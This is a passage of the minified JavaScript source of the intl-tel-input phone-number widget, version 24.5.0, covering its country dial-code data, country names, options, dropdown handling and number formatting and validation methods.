",19,["758"]],["mf","590",2],["pm","508"],["vc","1",20,["784"]],["sd","249"],["sr","597"],["sj","47",1,["79"]],["se","46"],["ch","41"],["sy","963"],["tw","886"],["tj","992"],["tz","255"],["th","66"],["tl","670"],["tg","228"],["tk","690"],["to","676"],["tt","1",22,["868"]],["tn","216"],["tr","90"],["tm","993"],["tc","1",23,["649"]],["tv","688"],["ug","256"],["ua","380"],["ae","971"],["gb","44",0],["us","1",0],["uy","598"],["vi","1",24,["340"]],["uz","998"],["vu","678"],["va","39",1,["06698"]],["ve","58"],["vn","84"],["wf","681"],["eh","212",1,["5288","5289"]],["ye","967"],["zm","260"],["zw","263"]],E=[];for(let a=0;a<D.length;a++){let t=D[a];E[a]={name:"",iso2:t[0],dialCode:t[1],priority:t[2]||0,areaCodes:t[3]||null,nodeById:{}}}var y=E;var z={ad:"Andorra",ae:"United Arab Emirates",af:"Afghanistan",ag:"Antigua & Barbuda",ai:"Anguilla",al:"Albania",am:"Armenia",ao:"Angola",ar:"Argentina",as:"American Samoa",at:"Austria",au:"Australia",aw:"Aruba",ax:"\xC5land Islands",az:"Azerbaijan",ba:"Bosnia & Herzegovina",bb:"Barbados",bd:"Bangladesh",be:"Belgium",bf:"Burkina Faso",bg:"Bulgaria",bh:"Bahrain",bi:"Burundi",bj:"Benin",bl:"St. Barth\xE9lemy",bm:"Bermuda",bn:"Brunei",bo:"Bolivia",bq:"Caribbean Netherlands",br:"Brazil",bs:"Bahamas",bt:"Bhutan",bw:"Botswana",by:"Belarus",bz:"Belize",ca:"Canada",cc:"Cocos (Keeling) Islands",cd:"Congo - Kinshasa",cf:"Central African Republic",cg:"Congo - Brazzaville",ch:"Switzerland",ci:"C\xF4te d\u2019Ivoire",ck:"Cook Islands",cl:"Chile",cm:"Cameroon",cn:"China",co:"Colombia",cr:"Costa Rica",cu:"Cuba",cv:"Cape Verde",cw:"Cura\xE7ao",cx:"Christmas Island",cy:"Cyprus",cz:"Czechia",de:"Germany",dj:"Djibouti",dk:"Denmark",dm:"Dominica",do:"Dominican Republic",dz:"Algeria",ec:"Ecuador",ee:"Estonia",eg:"Egypt",eh:"Western Sahara",er:"Eritrea",es:"Spain",et:"Ethiopia",fi:"Finland",fj:"Fiji",fk:"Falkland Islands",fm:"Micronesia",fo:"Faroe Islands",fr:"France",ga:"Gabon",gb:"United Kingdom",gd:"Grenada",ge:"Georgia",gf:"French Guiana",gg:"Guernsey",gh:"Ghana",gi:"Gibraltar",gl:"Greenland",gm:"Gambia",gn:"Guinea",gp:"Guadeloupe",gq:"Equatorial Guinea",gr:"Greece",gt:"Guatemala",gu:"Guam",gw:"Guinea-Bissau",gy:"Guyana",hk:"Hong Kong SAR China",hn:"Honduras",hr:"Croatia",ht:"Haiti",hu:"Hungary",id:"Indonesia",ie:"Ireland",il:"Israel",im:"Isle of Man",in:"India",io:"British Indian Ocean Territory",iq:"Iraq",ir:"Iran",is:"Iceland",it:"Italy",je:"Jersey",jm:"Jamaica",jo:"Jordan",jp:"Japan",ke:"Kenya",kg:"Kyrgyzstan",kh:"Cambodia",ki:"Kiribati",km:"Comoros",kn:"St. Kitts & Nevis",kp:"North Korea",kr:"South Korea",kw:"Kuwait",ky:"Cayman Islands",kz:"Kazakhstan",la:"Laos",lb:"Lebanon",lc:"St. Lucia",li:"Liechtenstein",lk:"Sri Lanka",lr:"Liberia",ls:"Lesotho",lt:"Lithuania",lu:"Luxembourg",lv:"Latvia",ly:"Libya",ma:"Morocco",mc:"Monaco",md:"Moldova",me:"Montenegro",mf:"St. Martin",mg:"Madagascar",mh:"Marshall Islands",mk:"North Macedonia",ml:"Mali",mm:"Myanmar (Burma)",mn:"Mongolia",mo:"Macao SAR China",mp:"Northern Mariana Islands",mq:"Martinique",mr:"Mauritania",ms:"Montserrat",mt:"Malta",mu:"Mauritius",mv:"Maldives",mw:"Malawi",mx:"Mexico",my:"Malaysia",mz:"Mozambique",na:"Namibia",nc:"New Caledonia",ne:"Niger",nf:"Norfolk Island",ng:"Nigeria",ni:"Nicaragua",nl:"Netherlands",no:"Norway",np:"Nepal",nr:"Nauru",nu:"Niue",nz:"New Zealand",om:"Oman",pa:"Panama",pe:"Peru",pf:"French Polynesia",pg:"Papua New Guinea",ph:"Philippines",pk:"Pakistan",pl:"Poland",pm:"St. Pierre & Miquelon",pr:"Puerto Rico",ps:"Palestinian Territories",pt:"Portugal",pw:"Palau",py:"Paraguay",qa:"Qatar",re:"R\xE9union",ro:"Romania",rs:"Serbia",ru:"Russia",rw:"Rwanda",sa:"Saudi Arabia",sb:"Solomon Islands",sc:"Seychelles",sd:"Sudan",se:"Sweden",sg:"Singapore",sh:"St. Helena",si:"Slovenia",sj:"Svalbard & Jan Mayen",sk:"Slovakia",sl:"Sierra Leone",sm:"San Marino",sn:"Senegal",so:"Somalia",sr:"Suriname",ss:"South Sudan",st:"S\xE3o Tom\xE9 & Pr\xEDncipe",sv:"El Salvador",sx:"Sint Maarten",sy:"Syria",sz:"Eswatini",tc:"Turks & Caicos Islands",td:"Chad",tg:"Togo",th:"Thailand",tj:"Tajikistan",tk:"Tokelau",tl:"Timor-Leste",tm:"Turkmenistan",tn:"Tunisia",to:"Tonga",tr:"Turkey",tt:"Trinidad & Tobago",tv:"Tuvalu",tw:"Taiwan",tz:"Tanzania",ua:"Ukraine",ug:"Uganda",us:"United States",uy:"Uruguay",uz:"Uzbekistan",va:"Vatican City",vc:"St. Vincent & Grenadines",ve:"Venezuela",vg:"British Virgin Islands",vi:"U.S. Virgin Islands",vn:"Vietnam",vu:"Vanuatu",wf:"Wallis & Futuna",ws:"Samoa",ye:"Yemen",yt:"Mayotte",za:"South Africa",zm:"Zambia",zw:"Zimbabwe"},N=z;var j={selectedCountryAriaLabel:"Selected country",noCountrySelected:"No country selected",countryListAriaLabel:"List of countries",searchPlaceholder:"Search",zeroSearchResults:"No results found",oneSearchResult:"1 result found",multipleSearchResults:"${count} results found",ac:"Ascension Island",xk:"Kosovo"},A=j;var K={...N,...A},T=K;for(let a=0;a<y.length;a++)y[a].name=T[y[a].iso2];var U=0,M={allowDropdown:!0,autoPlaceholder:"polite",containerClass:"",countryOrder:null,countrySearch:!0,customPlaceholder:null,dropdownContainer:null,excludeCountries:[],fixDropdownWidth:!0,formatAsYouType:!0,formatOnDisplay:!0,geoIpLookup:null,hiddenInput:null,i18n:{},initialCountry:"",nationalMode:!0,onlyCountries:[],placeholderNumberType:"MOBILE",showFlags:!0,separateDialCode:!1,strictMode:!1,useFullscreenPopup:typeof navigator<"u"&&typeof window<"u"?/Android.+Mobile|webOS|iPhone|iPod|BlackBerry|IEMobile|Opera Mini/i.test(navigator.userAgent)||window.innerWidth<=500:!1,utilsScript:"",validationNumberType:"MOBILE"},V=["800","822","833","844","855","866","877","880","881","882","883","884","885","886","887","888","889"],_=a=>a.replace(/\D/g,""),S=(a="")=>a.normalize("NFD").replace(/[\u0300-\u036f]/g,"").toLowerCase(),k=a=>{let t=_(a);if(t.charAt(0)==="1"){let e=t.substr(1,3);return V.indexOf(e)!==-1}return!1},$=(a,t,e,i)=>{if(e===0&&!i)return 0;let n=0;for(let s=0;s<t.length;s++){if(/[+0-9]/.test(t[s])&&n++,n===a&&!i)return s+1;if(i&&n===a+1)return s}return t.length},p=(a,t,e)=>{let i=document.createElement(a);return t&&Object.entries(t).forEach(([n,s])=>i.setAttribute(n,s)),e&&e.appendChild(i),i},b=a=>{let{instances:t}=r;Object.values(t).forEach(e=>e[a]())},I=class{constructor(t,e={}){this.id=U++,this.a=t,this.c=null,this.d=Object.assign({},M,e),this.e=!!t.getAttribute("placeholder")}_init(){this.d.useFullscreenPopup&&(this.d.fixDropdownWidth=!1),this.d.onlyCountries.length===1&&(this.d.initialCountry=this.d.onlyCountries[0]),this.d.separateDialCode&&(this.d.nationalMode=!1),this.d.allowDropdown&&!this.d.showFlags&&!this.d.separateDialCode&&(this.d.nationalMode=!1),this.d.useFullscreenPopup&&!this.d.dropdownContainer&&(this.d.dropdownContainer=document.body),this.isAndroid=typeof navigator<"u"?/Android/i.test(navigator.userAgent):!1,this.isRTL=!!this.a.closest("[dir=rtl]");let t=this.d.allowDropdown||this.d.separateDialCode;this.showSelectedCountryOnLeft=this.isRTL?!t:t,this.d.separateDialCode&&(this.isRTL?this.originalPaddingRight=this.a.style.paddingRight:this.originalPaddingLeft=this.a.style.paddingLeft),this.d.i18n={...T,...this.d.i18n};let e=new Promise((n,s)=>{this.h=n,this.i=s}),i=new Promise((n,s)=>{this.i0=n,this.i1=s});this.promise=Promise.all([e,i]),this.s={},this._b(),this._f(),this._h(),this._i(),this._i3()}_b(){this._d(),this._d2(),this._d0(),this._sortCountries()}_sortCountries(){this.d.countryOrder&&(this.d.countryOrder=this.d.countryOrder.map(t=>t.toLowerCase())),this.p.sort((t,e)=>{let{countryOrder:i}=this.d;if(i){let n=i.indexOf(t.iso2),s=i.indexOf(e.iso2),o=n>-1,u=s>-1;if(o||u)return o&&u?n-s:o?-1:1}return t.name.localeCompare(e.name)})}_c(t,e,i){e.length>this.dialCodeMaxLen&&(this.dialCodeMaxLen=e.length),this.q.hasOwnProperty(e)||(this.q[e]=[]);for(let s=0;s<this.q[e].length;s++)if(this.q[e][s]===t)return;let n=i!==void 0?i:this.q[e].length;this.q[e][n]=t}_d(){let{onlyCountries:t,excludeCountries:e}=this.d;if(t.length){let i=t.map(n=>n.toLowerCase());this.p=y.filter(n=>i.indexOf(n.iso2)>-1)}else if(e.length){let i=e.map(n=>n.toLowerCase());this.p=y.filter(n=>i.indexOf(n.iso2)===-1)}else this.p=y}_d0(){for(let t=0;t<this.p.length;t++){let e=this.p[t].iso2.toLowerCase();this.d.i18n.hasOwnProperty(e)&&(this.p[t].name=this.d.i18n[e])}}_d2(){this.dialCodes={},this.dialCodeMaxLen=0,this.q={};for(let t=0;t<this.p.length;t++){let e=this.p[t];this.dialCodes[e.dialCode]||(this.dialCodes[e.dialCode]=!0),this._c(e.iso2,e.dialCode,e.priority)}for(let t=0;t<this.p.length;t++){let e=this.p[t];if(e.areaCodes){let i=this.q[e.dialCode][0];for(let n=0;n<e.areaCodes.length;n++){let s=e.areaCodes[n];for(let o=1;o<s.length;o++){let u=e.dialCode+s.substr(0,o);this._c(i,u),this._c(e.iso2,u)}this._c(e.iso2,e.dialCode+s)}}}}_f(){this.a.classList.add("iti__tel-input"),!this.a.hasAttribute("autocomplete")&&!(this.a.form&&this.a.form.hasAttribute("autocomplete"))&&this.a.setAttribute("autocomplete","off");let{allowDropdown:t,separateDialCode:e,showFlags:i,containerClass:n,hiddenInput:s,dropdownContainer:o,fixDropdownWidth:u,useFullscreenPopup:l,countrySearch:c,i18n:d}=this.d,m="iti";t&&(m+=" iti--allow-dropdown"),i&&(m+=" iti--show-flags"),n&&(m+=` ${n}`),l||(m+=" iti--inline-dropdown");let h=p("div",{class:m});if(this.a.parentNode?.insertBefore(h,this.a),t||i||e){this.k=p("div",{class:"iti__country-container"},h),this.showSelectedCountryOnLeft?this.k.style.left="0px":this.k.style.right="0px",t?(this.selectedCountry=p("button",{type:"button",class:"iti__selected-country","aria-expanded":"false","aria-label":this.d.i18n.selectedCountryAriaLabel,"aria-haspopup":"true","aria-controls":`iti-${this.id}__dropdown-content`,role:"combobox"},this.k),this.a.disabled&&this.selectedCountry.setAttribute("disabled","true")):this.selectedCountry=p("div",{class:"iti__selected-country"},this.k);let g=p("div",{class:"iti__selected-country-primary"},this.selectedCountry);if(this.l=p("div",{class:"iti__flag"},g),this.selectedCountryA11yText=p("span",{class:"iti__a11y-text"},this.l),t&&(this.u=p("div",{class:"iti__arrow","aria-hidden":"true"},g)),e&&(this.t=p("div",{class:"iti__selected-dial-code"},this.selectedCountry)),t){let C=u?"":"iti--flexible-dropdown-width";if(this.dropdownContent=p("div",{id:`iti-${this.id}__dropdown-content`,class:`iti__dropdown-content iti__hide ${C}`}),c&&(this.searchInput=p("input",{type:"text",class:"iti__search-input",placeholder:d.searchPlaceholder,role:"combobox","aria-expanded":"true","aria-label":d.searchPlaceholder,"aria-controls":`iti-${this.id}__country-listbox`,"aria-autocomplete":"list",autocomplete:"off"},this.dropdownContent),this.searchResultsA11yText=p("span",{class:"iti__a11y-text"},this.dropdownContent)),this.countryList=p("ul",{class:"iti__country-list",id:`iti-${this.id}__country-listbox`,role:"listbox","aria-label":d.countryListAriaLabel},this.dropdownContent),this._g(),c&&this._p4(),o){let f="iti iti--container";l?f+=" iti--fullscreen-popup":f+=" iti--inline-dropdown",this.dropdown=p("div",{class:f}),this.dropdown.appendChild(this.dropdownContent)}else this.k.appendChild(this.dropdownContent)}}if(h.appendChild(this.a),this._updateInputPadding(),s){let g=this.a.getAttribute("name")||"",C=s(g);C.phone&&(this.hiddenInput=p("input",{type:"hidden",name:C.phone}),h.appendChild(this.hiddenInput)),C.country&&(this.hiddenInputCountry=p("input",{type:"hidden",name:C.country}),h.appendChild(this.hiddenInputCountry))}}_g(){for(let t=0;t<this.p.length;t++){let e=this.p[t],i=t===0?"iti__highlight":"",n=p("li",{id:`iti-${this.id}__item-${e.iso2}`,class:`iti__country ${i}`,tabindex:"-1",role:"option","data-dial-code":e.dialCode,"data-country-code":e.iso2,"aria-selected":"false"},this.countryList);e.nodeById[this.id]=n;let s="";this.d.showFlags&&(s+=`<div class='iti__flag iti__${e.iso2}'></div>`),s+=`<span class='iti__country-name'>${e.name}</span>`,s+=`<span class='iti__dial-code'>+${e.dialCode}</span>`,n.insertAdjacentHTML("beforeend",s)}}_h(t=!1){let e=this.a.getAttribute("value"),i=this.a.value,s=e&&e.charAt(0)==="+"&&(!i||i.charAt(0)!=="+")?e:i,o=this._5(s),u=k(s),{initialCountry:l,geoIpLookup:c}=this.d,d=l==="auto"&&c;if(o&&!u)this._v(s);else if(!d||t){let m=l?l.toLowerCase():"";m&&this._y(m,!0)?this._z(m):o&&u?this._z("us"):this._z()}s&&this._u(s)}_i(){this._j(),this.d.allowDropdown&&this._i2(),(this.hiddenInput||this.hiddenInputCountry)&&this.a.form&&this._i0()}_i0(){this._a14=()=>{this.hiddenInput&&(this.hiddenInput.value=this.getNumber()),this.hiddenInputCountry&&(this.hiddenInputCountry.value=this.getSelectedCountryData().iso2||"")},this.a.form?.addEventListener("submit",this._a14)}_i2(){this._a9=e=>{this.dropdownContent.classList.contains("iti__hide")?this.a.focus():e.preventDefault()};let t=this.a.closest("label");t&&t.addEventListener("click",this._a9),this._a10=()=>{this.dropdownContent.classList.contains("iti__hide")&&!this.a.disabled&&!this.a.readOnly&&this._n()},this.selectedCountry.addEventListener("click",this._a10),this._a11=e=>{this.dropdownContent.classList.contains("iti__hide")&&["ArrowUp","ArrowDown"," ","Enter"].includes(e.key)&&(e.preventDefault(),e.stopPropagation(),this._n()),e.key==="Tab"&&this._2()},this.k.addEventListener("keydown",this._a11)}_i3(){let{utilsScript:t,initialCountry:e,geoIpLookup:i}=this.d;t&&!r.utils?r.documentReady()?r.loadUtils(t):window.addEventListener("load",()=>{r.loadUtils(t)}):this.i0(),e==="auto"&&i&&!this.s.iso2?this._i4():this.h()}_i4(){r.autoCountry?this.handleAutoCountry():r.startedLoadingAutoCountry||(r.startedLoadingAutoCountry=!0,typeof this.d.geoIpLookup=="function"&&this.d.geoIpLookup((t="")=>{let e=t.toLowerCase();e&&this._y(e,!0)?(r.autoCountry=e,setTimeout(()=>b("handleAutoCountry"))):(this._h(!0),b("rejectAutoCountryPromise"))},()=>{this._h(!0),b("rejectAutoCountryPromise")}))}_nWithPlus(){this._n(),this.searchInput.value="+",this._p3("",!0)}_j(){let{strictMode:t,formatAsYouType:e,separateDialCode:i,formatOnDisplay:n,allowDropdown:s,countrySearch:o}=this.d,u=!1;/\p{L}/u.test(this.a.value)&&(u=!0),this._a12=l=>{if(this.isAndroid&&l?.data==="+"&&i&&s&&o){let h=this.a.selectionStart||0,g=this.a.value.substring(0,h-1),C=this.a.value.substring(h);this.a.value=g+C,this._nWithPlus();return}this._v(this.a.value)&&this._8();let c=l?.data&&/[^+0-9]/.test(l.data),d=l?.inputType==="insertFromPaste"&&this.a.value;c||d&&!t?u=!0:/[^+0-9]/.test(this.a.value)||(u=!1);let m=l?.detail&&l.detail.isSetNumber&&!n;if(e&&!u&&!m){let h=this.a.selectionStart||0,C=this.a.value.substring(0,h).replace(/[^+0-9]/g,"").length,f=l?.inputType==="deleteContentForward",v=this._9(),w=$(C,v,h,f);this.a.value=v,this.a.setSelectionRange(w,w)}},this.a.addEventListener("input",this._a12),(t||i)&&(this._handleKeydownEvent=l=>{if(l.key&&l.key.length===1&&!l.altKey&&!l.ctrlKey&&!l.metaKey){if(i&&s&&o&&l.key==="+"){l.preventDefault(),this._nWithPlus();return}if(t){let c=this.a.selectionStart===0&&l.key==="+",d=/^[0-9]$/.test(l.key),m=i?d:c||d,h=this._6(),g=r.utils.getCoreNumber(h,this.s.iso2),C=this.maxCoreNumberLength&&g.length>=this.maxCoreNumberLength,f=this.a.value.substring(this.a.selectionStart,this.a.selectionEnd),v=/\d/.test(f),P=(this.a.selectionStart||0)===this.a.value.length;(!m||C&&!v&&P)&&l.preventDefault()}}},this.a.addEventListener("keydown",this._handleKeydownEvent))}_j2(t){let e=parseInt(this.a.getAttribute("maxlength")||"",10);return e&&t.length>e?t.substr(0,e):t}_trigger(t,e={}){let i=new CustomEvent(t,{bubbles:!0,cancelable:!0,detail:e});this.a.dispatchEvent(i)}_n(){let{fixDropdownWidth:t,countrySearch:e}=this.d;if(t&&(this.dropdownContent.style.width=`${this.a.offsetWidth}px`),this.dropdownContent.classList.remove("iti__hide"),this.selectedCountry.setAttribute("aria-expanded","true"),this._o(),e){let i=this.countryList.firstElementChild;i&&(this._x(i,!1),this.countryList.scrollTop=0),this.searchInput.focus()}this._p(),this.u.classList.add("iti__arrow--up"),this._trigger("open:countrydropdown")}_o(){if(this.d.dropdownContainer&&this.d.dropdownContainer.appendChild(this.dropdown),!this.d.useFullscreenPopup){let t=this.a.getBoundingClientRect(),e=this.a.offsetHeight;this.d.dropdownContainer&&(this.dropdown.style.top=`${t.top+e}px`,this.dropdown.style.left=`${t.left}px`,this._a4=()=>this._2(),window.addEventListener("scroll",this._a4))}}_p(){this._a0=n=>{let s=n.target?.closest(".iti__country");s&&this._x(s,!1)},this.countryList.addEventListener("mouseover",this._a0),this._a1=n=>{let s=n.target?.closest(".iti__country");s&&this._1(s)},this.countryList.addEventListener("click",this._a1);let t=!0;this._a2=()=>{t||this._2(),t=!1},document.documentElement.addEventListener("click",this._a2);let e="",i=null;if(this._a3=n=>{["ArrowUp","ArrowDown","Enter","Escape"].includes(n.key)&&(n.preventDefault(),n.stopPropagation(),n.key==="ArrowUp"||n.key==="ArrowDown"?this._q(n.key):n.key==="Enter"?this._r():n.key==="Escape"&&this._2()),!this.d.countrySearch&&/^[a-zA-ZÀ-ÿа-яА-Я ]$/.test(n.key)&&(n.stopPropagation(),i&&clearTimeout(i),e+=n.key.toLowerCase(),this._searchForCountry(e),i=setTimeout(()=>{e=""},1e3))},document.addEventListener("keydown",this._a3),this.d.countrySearch){let n=()=>{let o=this.searchInput.value.trim();o?this._p3(o):this._p3("",!0)},s=null;this._a7=()=>{s&&clearTimeout(s),s=setTimeout(()=>{n(),s=null},100)},this.searchInput.addEventListener("input",this._a7),this.searchInput.addEventListener("click",o=>o.stopPropagation())}}_searchForCountry(t){for(let e=0;e<this.p.length;e++){let i=this.p[e];if(i.name.substr(0,t.length).toLowerCase()===t){let s=i.nodeById[this.id];this._x(s,!1),this._3(s);break}}}_p3(t,e=!1){let i=!0;this.countryList.innerHTML="";let n=S(t);for(let s=0;s<this.p.length;s++){let o=this.p[s],u=S(o.name),l=o.name.split(/[^a-zA-ZÀ-ÿа-яА-Я]/).map(d=>d[0]).join("").toLowerCase(),c=`+${o.dialCode}`;if(e||u.includes(n)||c.includes(n)||o.iso2.includes(n)||l.includes(n)){let d=o.nodeById[this.id];d&&this.countryList.appendChild(d),i&&(this._x(d,!1),i=!1)}}i&&this._x(null,!1),this.countryList.scrollTop=0,this._p4()}_p4(){let{i18n:t}=this.d,e=this.countryList.childElementCount,i;e===0?i=t.zeroSearchResults:e===1?i=t.oneSearchResult:i=t.multipleSearchResults.replace("${count}",e.toString()),this.searchResultsA11yText.textContent=i}_q(t){let e=t==="ArrowUp"?this.c?.previousElementSibling:this.c?.nextElementSibling;!e&&this.countryList.childElementCount>1&&(e=t==="ArrowUp"?this.countryList.lastElementChild:this.countryList.firstElementChild),e&&(this._3(e),this._x(e,!1))}_r(){this.c&&this._1(this.c)}_u(t){let e=t;if(this.d.formatOnDisplay&&r.utils&&this.s){let i=this.d.nationalMode||e.charAt(0)!=="+"&&!this.d.separateDialCode,{NATIONAL:n,INTERNATIONAL:s}=r.utils.numberFormat,o=i?n:s;e=r.utils.formatNumber(e,this.s.iso2,o)}e=this._7(e),this.a.value=e}_v(t){let e=t.indexOf("+"),i=e?t.substring(e):t,n=this.s.dialCode;i&&n==="1"&&i.charAt(0)!=="+"&&(i.charAt(0)!=="1"&&(i=`1${i}`),i=`+${i}`),this.d.separateDialCode&&n&&i.charAt(0)!=="+"&&(i=`+${n}${i}`);let o=this._5(i,!0),u=_(i),l=null;if(o){let c=this.q[_(o)],d=c.indexOf(this.s.iso2)!==-1&&u.length<=o.length-1;if(!(n==="1"&&k(u))&&!d){for(let h=0;h<c.length;h++)if(c[h]){l=c[h];break}}}else i.charAt(0)==="+"&&u.length?l="":(!i||i==="+")&&!this.s.iso2&&(l=this.j);return l!==null?this._z(l):!1}_x(t,e){let i=this.c;if(i&&(i.classList.remove("iti__highlight"),i.setAttribute("aria-selected","false")),this.c=t,this.c){this.c.classList.add("iti__highlight"),this.c.setAttribute("aria-selected","true");let n=this.c.getAttribute("id")||"";this.selectedCountry.setAttribute("aria-activedescendant",n),this.d.countrySearch&&this.searchInput.setAttribute("aria-activedescendant",n)}e&&this.c.focus()}_y(t,e){for(let i=0;i<this.p.length;i++)if(this.p[i].iso2===t)return this.p[i];if(e)return null;throw new Error(`No country data for '${t}'`)}_z(t){let{separateDialCode:e,showFlags:i,i18n:n}=this.d,s=this.s.iso2?this.s:{};if(this.s=t?this._y(t,!1)||{}:{},this.s.iso2&&(this.j=this.s.iso2),this.l){let o="",u="";t&&i?(o=`iti__flag iti__${t}`,u=`${this.s.name} +${this.s.dialCode}`):(o="iti__flag iti__globe",u=n.noCountrySelected),this.l.className=o,this.selectedCountryA11yText.textContent=u}if(this._z3(t,e),e){let o=this.s.dialCode?`+${this.s.dialCode}`:"";this.t.innerHTML=o,this._updateInputPadding()}return this._0(),this._updateMaxLength(),s.iso2!==t}_updateInputPadding(){if(this.selectedCountry){let e=(this.selectedCountry.offsetWidth||this._z2())+6;this.showSelectedCountryOnLeft?this.a.style.paddingLeft=`${e}px`:this.a.style.paddingRight=`${e}px`}}_updateMaxLength(){let{strictMode:t,placeholderNumberType:e,validationNumberType:i}=this.d;if(t&&r.utils)if(this.s.iso2){let n=r.utils.numberType[e],s=r.utils.getExampleNumber(this.s.iso2,!1,n,!0),o=s;for(;r.utils.isPossibleNumber(s,this.s.iso2,i);)o=s,s+="0";let u=r.utils.getCoreNumber(o,this.s.iso2);this.maxCoreNumberLength=u.length}else this.maxCoreNumberLength=null}_z3(t=null,e){if(!this.selectedCountry)return;let i;t&&!e?i=`${this.s.name}: +${this.s.dialCode}`:t?i=this.s.name:i="Unknown",this.selectedCountry.setAttribute("title",i)}_z2(){if(this.a.parentNode){let t=this.a.parentNode.cloneNode(!1);t.style.visibility="hidden",document.body.appendChild(t);let e=this.k.cloneNode();t.appendChild(e);let i=this.selectedCountry.cloneNode(!0);e.appendChild(i);let n=i.offsetWidth;return document.body.removeChild(t),n}return 0}_0(){let{autoPlaceholder:t,placeholderNumberType:e,nationalMode:i,customPlaceholder:n}=this.d,s=t==="aggressive"||!this.e&&t==="polite";if(r.utils&&s){let o=r.utils.numberType[e],u=this.s.iso2?r.utils.getExampleNumber(this.s.iso2,i,o):"";u=this._7(u),typeof n=="function"&&(u=n(u,this.s)),this.a.setAttribute("placeholder",u)}}_1(t){let e=this._z(t.getAttribute("data-country-code"));this._2(),this._4(t.getAttribute("data-dial-code")),this.a.focus(),e&&this._8()}_2(){this.dropdownContent.classList.add("iti__hide"),this.selectedCountry.setAttribute("aria-expanded","false"),this.selectedCountry.removeAttribute("aria-activedescendant"),this.c&&this.c.setAttribute("aria-selected","false"),this.d.countrySearch&&this.searchInput.removeAttribute("aria-activedescendant"),this.u.classList.remove("iti__arrow--up"),document.removeEventListener("keydown",this._a3),this.d.countrySearch&&this.searchInput.removeEventListener("input",this._a7),document.documentElement.removeEventListener("click",this._a2),this.countryList.removeEventListener("mouseover",this._a0),this.countryList.removeEventListener("click",this._a1),this.d.dropdownContainer&&(this.d.useFullscreenPopup||window.removeEventListener("scroll",this._a4),this.dropdown.parentNode&&this.dropdown.parentNode.removeChild(this.dropdown)),this._trigger("close:countrydropdown")}_3(t){let e=this.countryList,i=document.documentElement.scrollTop,n=e.offsetHeight,s=e.getBoundingClientRect().top+i,o=s+n,u=t.offsetHeight,l=t.getBoundingClientRect().top+i,c=l+u,d=l-s+e.scrollTop;if(l<s)e.scrollTop=d;else if(c>o){let m=n-u;e.scrollTop=d-m}}_4(t){let e=this.a.value,i=`+${t}`,n;if(e.charAt(0)==="+"){let s=this._5(e);s?n=e.replace(s,i):n=i,this.a.value=n}}_5(t,e){let i="";if(t.charAt(0)==="+"){let n="";for(let s=0;s<t.length;s++){let o=t.charAt(s);if(!isNaN(parseInt(o,10))){if(n+=o,e)this.q[n]&&(i=t.substr(0,s+1));else if(this.dialCodes[n]){i=t.substr(0,s+1);break}if(n.length===this.dialCodeMaxLen)break}}}return i}_6(){let t=this.a.value.trim(),{dialCode:e}=this.s,i,n=_(t);return this.d.separateDialCode&&t.charAt(0)!=="+"&&e&&n?i=`+${e}`:i="",i+t}_7(t){let e=t;if(this.d.separateDialCode){let i=this._5(e);if(i){i=`+${this.s.dialCode}`;let n=e[i.length]===" "||e[i.length]==="-"?i.length+1:i.length;e=e.substr(n)}}return this._j2(e)}_8(){this._trigger("countrychange")}_9(){let t=this._6(),e=r.utils?r.utils.formatNumberAsYouType(t,this.s.iso2):t,{dialCode:i}=this.s;return this.d.separateDialCode&&this.a.value.charAt(0)!=="+"&&e.includes(`+${i}`)?(e.split(`+${i}`)[1]||"").trim():e}handleAutoCountry(){this.d.initialCountry==="auto"&&r.autoCountry&&(this.j=r.autoCountry,this.s.iso2||this.l.classList.contains("iti__globe")||this.setCountry(this.j),this.h())}handleUtils(){r.utils&&(this.a.value&&this._u(this.a.value),this.s.iso2&&(this._0(),this._updateMaxLength())),this.i0()}destroy(){let{allowDropdown:t,separateDialCode:e}=this.d;if(t){this._2(),this.selectedCountry.removeEventListener("click",this._a10),this.k.removeEventListener("keydown",this._a11);let s=this.a.closest("label");s&&s.removeEventListener("click",this._a9)}let{form:i}=this.a;this._a14&&i&&i.removeEventListener("submit",this._a14),this.a.removeEventListener("input",this._a12),this._handleKeydownEvent&&this.a.removeEventListener("keydown",this._handleKeydownEvent),this.a.removeAttribute("data-intl-tel-input-id"),e&&(this.isRTL?this.a.style.paddingRight=this.originalPaddingRight:this.a.style.paddingLeft=this.originalPaddingLeft);let n=this.a.parentNode;n?.parentNode?.insertBefore(this.a,n),n?.parentNode?.removeChild(n),delete r.instances[this.id]}getExtension(){return r.utils?r.utils.getExtension(this._6(),this.s.iso2):""}getNumber(t){if(r.utils){let{iso2:e}=this.s;return r.utils.formatNumber(this._6(),e,t)}return""}getNumberType(){return r.utils?r.utils.getNumberType(this._6(),this.s.iso2):-99}getSelectedCountryData(){return this.s}getValidationError(){if(r.utils){let{iso2:t}=this.s;return r.utils.getValidationError(this._6(),t)}return-99}isValidNumber(){if(!this.s.iso2)return!1;let t=this._6(),e=t.search(/\p{L}/u);if(e>-1){let i=t.substring(0,e),n=this._utilsIsPossibleNumber(i),s=this._utilsIsPossibleNumber(t);return n&&s}return this._utilsIsPossibleNumber(t)}_utilsIsPossibleNumber(t){return r.utils?r.utils.isPossibleNumber(t,this.s.iso2,this.d.validationNumberType):null}isValidNumberPrecise(){if(!this.s.iso2)return!1;let t=this._6(),e=t.search(/\p{L}/u);if(e>-1){let i=t.substring(0,e),n=this._utilsIsValidNumber(i),s=this._utilsIsValidNumber(t);return n&&s}return this._utilsIsValidNumber(t)}_utilsIsValidNumber(t){return r.utils?r.utils.isValidNumber(t,this.s.iso2):null}setCountry(t){let e=t?.toLowerCase(),i=this.s.iso2;(t&&e!==i||!t&&i)&&(this._z(e),this._4(this.s.dialCode),this._8())}setNumber(t){let e=this._v(t);this._u(t),e&&this._8(),this._trigger("input",{isSetNumber:!0})}setPlaceholderNumberType(t){this.d.placeholderNumberType=t,this._0()}setDisabled(t){this.a.disabled=t,t?this.selectedCountry.setAttribute("disabled","true"):this.selectedCountry.removeAttribute("disabled")}},W=a=>!r.utils&&!r.startedLoadingUtilsScript?(r.startedLoadingUtilsScript=!0,new Promise((t,e)=>{import(/* webpackIgnore: true */ a).then(({default:i})=>{r.utils=i,b("handleUtils"),t(!0)}).catch(()=>{b("rejectUtilsScriptPromise"),e()})})):null,r=Object.assign((a,t)=>{let e=new I(a,t);return e._init(),a.setAttribute("data-intl-tel-input-id",e.id.toString()),r.instances[e.id]=e,e},{defaults:M,documentReady:()=>document.readyState==="complete",getCountryData:()=>y,getInstance:a=>{let t=a.getAttribute("data-intl-tel-input-id");return t?r.instances[t]:null},instances:{},loadUtils:W,version:"24.5.0"}),G=r;return B(q);})();

// UMD
  return factoryOutput.default;
}));
